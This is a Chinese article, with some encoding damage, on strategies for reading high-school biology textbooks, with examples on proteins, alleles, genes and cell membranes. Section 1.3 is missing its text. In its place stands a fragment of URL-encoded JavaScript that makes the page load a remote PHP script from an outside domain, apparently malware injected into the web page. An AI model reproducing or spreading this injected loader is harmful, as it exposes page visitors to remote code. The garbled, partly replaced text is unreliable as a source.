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在最近聽到的幾節(jié)高三復(fù)習(xí)課中，有好幾位老師都采用了集體朗讀的方式，讓學(xué)生關(guān)注課本知識，這種重視書本基礎(chǔ)知識復(fù)習(xí)的出發(fā)點(diǎn)肯定沒錯(cuò)。但是，就其實(shí)際的復(fù)習(xí)效果來看卻值得商榷。因?yàn)?，僅僅依靠朗讀而不通過閱讀、分析課本的具體知識內(nèi)容，是很難達(dá)到理解、鞏固的效果的。那么，如何才能提高學(xué)生閱讀教材的效果呢？下面是本人在2006年寫的一篇文章，希望其中的一些看法和體會能夠給大家提供參考。 聯(lián)合國教科文組織出版的《學(xué)會生存》一書中指出：“未來的文盲不再是不識字的人，而是沒有學(xué)會怎樣學(xué)習(xí)的人?！比欢虒W(xué)調(diào)研表明，相當(dāng)多的學(xué)生在學(xué)習(xí)方法的掌握方面存在著問題，其中以閱讀教材方面的缺陷最為明顯。借用流行歌曲中一句改變的歌詞，能夠比較貼切地反映許多學(xué)生在生物學(xué)學(xué)習(xí)過程中的感受，那就是“看書總是簡單，考試太難”。這“簡單”和“太難”既透視出了學(xué)生在學(xué)習(xí)生物學(xué)過程中的“尷尬”，也折射出了學(xué)生在教科書閱讀策略方面的缺失。那么，在教學(xué)中如何指導(dǎo)學(xué)生閱讀教科書，怎樣才能提高閱讀效果呢？下面談?wù)劚救说囊恍┛捶ㄅc體會。 1 如何閱讀教材 閱讀是大腦接收外界視覺符號信息并對其進(jìn)行加工，以理解符號所代表的意義的過程。精讀和略讀是閱讀的兩種最基本的方式，其中教科書的閱讀應(yīng)以精讀為主，為此，要特別注意以下幾點(diǎn)： 1.1帶著問題閱讀 根據(jù)學(xué)生要閱讀的內(nèi)容，提出一些有針對性的問題，可以引導(dǎo)學(xué)生對教科書進(jìn)行精讀。如學(xué)生在閱讀 “蛋白質(zhì)”這一節(jié)內(nèi)容前，教師可以提出以下一些問題：⑴蛋白質(zhì)的基本組成單位氨基酸是什么樣的化合物？⑵氨基酸是怎樣形成多肽的？⑶多肽又是如何形成蛋白質(zhì)的？⑷氨基酸數(shù)目相同，能形成相同的蛋白質(zhì)嗎？⑸氨基酸數(shù)目相同，種類相同，能形成相同的蛋白質(zhì)嗎？……帶著這些問題來閱讀，能使閱讀更具針對性，從而提高閱讀效果。 當(dāng)然，通過閱讀要解決的問題也可以閱讀提綱的形式展現(xiàn)給學(xué)生。如在閱讀“生長素的發(fā)現(xiàn)”一節(jié)時(shí)可首先公布以下閱讀提綱：1.達(dá)爾文的實(shí)驗(yàn)過程；2.達(dá)爾文對實(shí)驗(yàn)結(jié)果的認(rèn)識；3.溫特的實(shí)驗(yàn)過程；4.溫特的實(shí)驗(yàn)結(jié)論；5.郭葛的實(shí)驗(yàn)結(jié)論。這樣不僅突出了閱讀的重點(diǎn)，而且使閱讀的內(nèi)容更加條理化，從而提高閱讀的速度和效率。 1.2精細(xì)研讀課文 如果說提綱和問題為閱讀進(jìn)行了定向的話，那么，細(xì)讀是體現(xiàn)閱讀效果的關(guān)鍵。細(xì)讀時(shí)要做到一個(gè)字、一句話，乃至一個(gè)標(biāo)點(diǎn)符號都不輕易放過，要把其中的準(zhǔn)確含義琢磨清楚。為此，要特別注意： 1.2.1捕捉關(guān)鍵字詞 在生物學(xué)的概念中，有些是通過下定義而得到的概念，這類概念叫做定義性概念。在閱讀這類概念時(shí)，應(yīng)該把捕捉其中的關(guān)鍵詞作為閱讀的重點(diǎn)。例如教材中把“等位基因”定義為“位于一對同源染色體的相同位置上，控制著相對性狀的基因?！保ǜ咧小渡铩返诙訮25）。閱讀時(shí)，可以引導(dǎo)學(xué)生把定義中的 “同源染色體”、“相同位置”和“相對性狀”作為關(guān)鍵詞用圈點(diǎn)劃線突出來，同時(shí)在教科書上下、旁欄空白處做上批注：“只有同源染色體上才存在等位基因，非同源染色體之間不存在等位基因，不同種生物之間沒有同源染色體，也就沒有等位基因和相對性狀”，此外還要注意“相同位置”和“相對性狀”這些字既不能省略也不能改變成“同一位置”和“相同性狀”。這樣，就不會出現(xiàn)把牛的黑毛與羊的白毛當(dāng)作相對性狀，把D和D看作是等位基因的錯(cuò)誤了。 1.2.2關(guān)注“模糊”詞語 有人說過這樣一句話：生物學(xué)中只有一條普遍定律，那就是一切生物學(xué)定律都有例外。正因?yàn)槿绱?，在生物學(xué)教材中，對有關(guān)生物體的形態(tài)結(jié)構(gòu)、生理功能、生活環(huán)境、遺傳變異等的描述中，大量地使用了諸如“絕大多數(shù)”、“主要”、“一般”、“幾乎”、“通常”等“模糊”詞語，如“絕大多數(shù)生物體的遺傳信息都存在于DNA分子中”、“細(xì)胞核是遺傳物質(zhì)儲存和復(fù)制的主要場所”等。這些“模糊”詞語的運(yùn)用，不僅使教材中闡述的生物學(xué)知識更加科學(xué)、嚴(yán)謹(jǐn)，也使其中蘊(yùn)含著某些特殊的含義。如“細(xì)胞核是遺傳物質(zhì)儲存和復(fù)制的主要場所”就蘊(yùn)含著“線粒體和葉綠體中也有遺傳物質(zhì)存在”，又如高中《生物》第二冊P44第3小節(jié)中有這樣的敘述：“發(fā)生在體細(xì)胞中的突變，一般是不能傳遞給后代的?！庇小耙话恪本陀小疤乩?，這里的“特例”表現(xiàn)在哪些方面呢？發(fā)生在體細(xì)胞中的突變怎樣才有可能傳遞給后代呢？這就是我們在閱讀教材時(shí)應(yīng)該關(guān)注的問題。只有這樣，我們對有關(guān)知識的理解才會更加全面、正確。因此，在閱讀教材遇到這些模糊詞語時(shí)，不能視而不見，而應(yīng)該去分析理解其含義。 1.3注意完整理解 tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D"< 1.4進(jìn)行深層思考 蘇霍姆林斯基說過：“閱讀能教給學(xué)生思考，而思考會變成一種激發(fā)智力的刺激。”因此，在學(xué)生的閱讀過程中還要積極引導(dǎo)他們對課文中的某些字、詞進(jìn)行“深度加工”，以讀出其隱含的知識和原理。例如高中《生物》第一冊P82第二節(jié)有這樣一句話：“……一些生長素類似物，由于原料豐富，生產(chǎn)過程簡單，效果穩(wěn)定，因此在農(nóng)業(yè)生產(chǎn)中得到了廣泛的推廣和應(yīng)用?！遍喿x這小節(jié)教材，可以引導(dǎo)學(xué)生對其中的 “效果穩(wěn)定”進(jìn)行“咬文嚼字”式的分析、思考，使用生長素類似物會“效果穩(wěn)定”，這是與哪種物質(zhì)比較而言的，相比之下，使用生長素類似物為什么會效果穩(wěn)定？你能運(yùn)用學(xué)過的知識進(jìn)行解釋嗎？通過對這些問題進(jìn)行較深入的思考，就能對有關(guān)知識運(yùn)用的原理有比較深刻的理解。 1.5重視插圖解讀 圖文并茂是中學(xué)生物學(xué)教材的一大特色。生物圖表以其簡潔明了，形象生動(dòng)，容量豐富等特點(diǎn)在中學(xué)生物學(xué)教材中占據(jù)了越來越重要的地位。因此，閱讀教材時(shí)一定要重視對相關(guān)圖表的解讀。讀圖時(shí)一方面要弄清圖的類型和作用，分析構(gòu)圖材料的含義。如實(shí)心的圓點(diǎn)通過大小、疏密之分，既可以表示物質(zhì)的濃度，也可以表示生物某些結(jié)構(gòu)的明暗度，還可以用來表示一些無形物質(zhì)的分布區(qū)域，如細(xì)胞模式圖中的細(xì)胞質(zhì)、細(xì)胞核和核糖體都可以用圓點(diǎn)來表示；另一方面還要關(guān)注圖本身的一些屬性，如圖的維性和色彩等，只有這樣，才能全面完整地了解生物圖所蘊(yùn)涵的信息。 2 如何提高閱讀效果 閱讀的效果主要體現(xiàn)在對閱讀內(nèi)容的記憶和理解上。因此，在閱讀過程中，運(yùn)用科學(xué)的閱讀方法對于提高閱讀效果至關(guān)重要。就高中生物學(xué)教科書的而言，閱讀過程中可以采用以下一些方法來提高閱讀效果。 2.1概括要點(diǎn) 人的記憶并不是簡單的堆積，而是以概念、原理的網(wǎng)格儲存在記憶中。因此，對一些較為復(fù)雜的閱讀內(nèi)容如果單靠簡單重復(fù)、機(jī)械背誦，往往會事倍功半。而最有效的辦法是把這些內(nèi)容進(jìn)行條理化，概括出要點(diǎn)進(jìn)行記憶。例如對于“基因”的概念可以從以下幾個(gè)要點(diǎn)來認(rèn)識和記憶：①基因是控制生物性狀的結(jié)構(gòu)和功能的基本單位；②基因是有遺傳效應(yīng)的DNA片段；③基因在染色體上呈直線排列；④基因的脫氧核苷酸的排列順序（堿基順序）包含著遺傳信息。掌握了這幾個(gè)要點(diǎn)，那么對基因的概念就認(rèn)識得比較全面了。 2.2善于歸納 對于有些生物學(xué)知識，可以通過歸納特別利用數(shù)字的形式進(jìn)行歸納，這樣既突出了知識的重點(diǎn)，又有利于知識的記憶。如在學(xué)習(xí)記憶細(xì)胞膜的分子結(jié)構(gòu)時(shí)，我們可以把它歸納為“三個(gè)兩”。即：兩種物質(zhì)分子（磷脂分子和蛋白質(zhì)分子）、兩層磷脂分子（細(xì)胞膜的基本支架是磷脂雙分子層）、兩類蛋白質(zhì)分子（蛋白質(zhì)分子在細(xì)胞膜上排布的方式有兩類）。又如在學(xué)習(xí)有關(guān)細(xì)胞核的結(jié)構(gòu)和功能時(shí)，我們可以把有關(guān)知識的學(xué)習(xí)要求歸納成“三、二、一”。即：了解三個(gè)結(jié)構(gòu)（核膜、核仁、染色質(zhì)）、理解二個(gè)功能（遺傳物質(zhì)儲存和復(fù)制的場所，遺傳特性和代謝活動(dòng)的控制中心）、辨清一組概念（染色質(zhì)和染色體）。 2.3多用比較 心理學(xué)研究表明，凡是經(jīng)過同中求異或異中求同的事物，就比較容易記住。因此，在閱讀過程中多多運(yùn)用比較的方法，有助于閱讀效果的提高。生物學(xué)知識中一些知識，特別是一些概念具有相對和相關(guān)的關(guān)系。如相對的概念有同化作用和異化作用、需氧型和厭氧型、自養(yǎng)型和異養(yǎng)型、顯性性狀和隱性性狀、等位基因和非等位基因等，對于相對的概念，只要通過比較，記住了一方，另一方也就很容易記住了。而對于相關(guān)概念，如有氧呼吸和無氧呼吸、二倍體和多倍體、光合作用和化能合成作用、DNA和RNA等，只要抓住它們的共性和本質(zhì)，如有氧呼吸和無氧呼吸的本質(zhì)在于分解有機(jī)物、釋放能量。再通過比較了解它們之間的差別，那么，對這些概念就能比較容易記憶和掌握了。 2.4系統(tǒng)整理 歸納整理學(xué)習(xí)內(nèi)容不僅有利于掌握知識，而且更重要的是能夠從知識之間的廣泛聯(lián)系中，找到新的規(guī)律，悟出新的道理來。為此，經(jīng)過一定階段的學(xué)習(xí)，要注意把所學(xué)的知識進(jìn)行系統(tǒng)整理，使自己掌握的知識系統(tǒng)化。將生物學(xué)知識進(jìn)行系統(tǒng)整理的方法有很多，如編寫知識要點(diǎn)提綱、繪制知識結(jié)構(gòu)圖表、建立知識結(jié)構(gòu)網(wǎng)絡(luò)以及將有關(guān)知識進(jìn)行分類等。例如在復(fù)習(xí)“基因?qū)π誀畹目刂啤睍r(shí)，可以用相關(guān)的知識點(diǎn)串聯(lián)起來，形成一條知識鏈：“染色體→DNA→基因→脫氧核苷酸→遺傳信息→遺傳密碼→氨基酸→蛋白質(zhì)→性狀”，在此基礎(chǔ)上，又可以在知識鏈的每個(gè)環(huán)節(jié)上進(jìn)行擴(kuò)展形成知識網(wǎng)。 由于系統(tǒng)整理所學(xué)知識的過程本身就是一個(gè)動(dòng)腦分析、發(fā)現(xiàn)規(guī)律、重點(diǎn)概括的思維過程，這種經(jīng)過積極思考、達(dá)到深刻理解的知識，就能較為容易地把它牢牢記住，甚至終身不忘。因此，先理解再記憶是提高閱讀效果的有效方法。（本文刊登于《中學(xué)生物教學(xué)》2006年第11期，中國人民大學(xué)復(fù)印報(bào)刊資料《中學(xué)政治及其他各科教與學(xué)》2007年第2期） |
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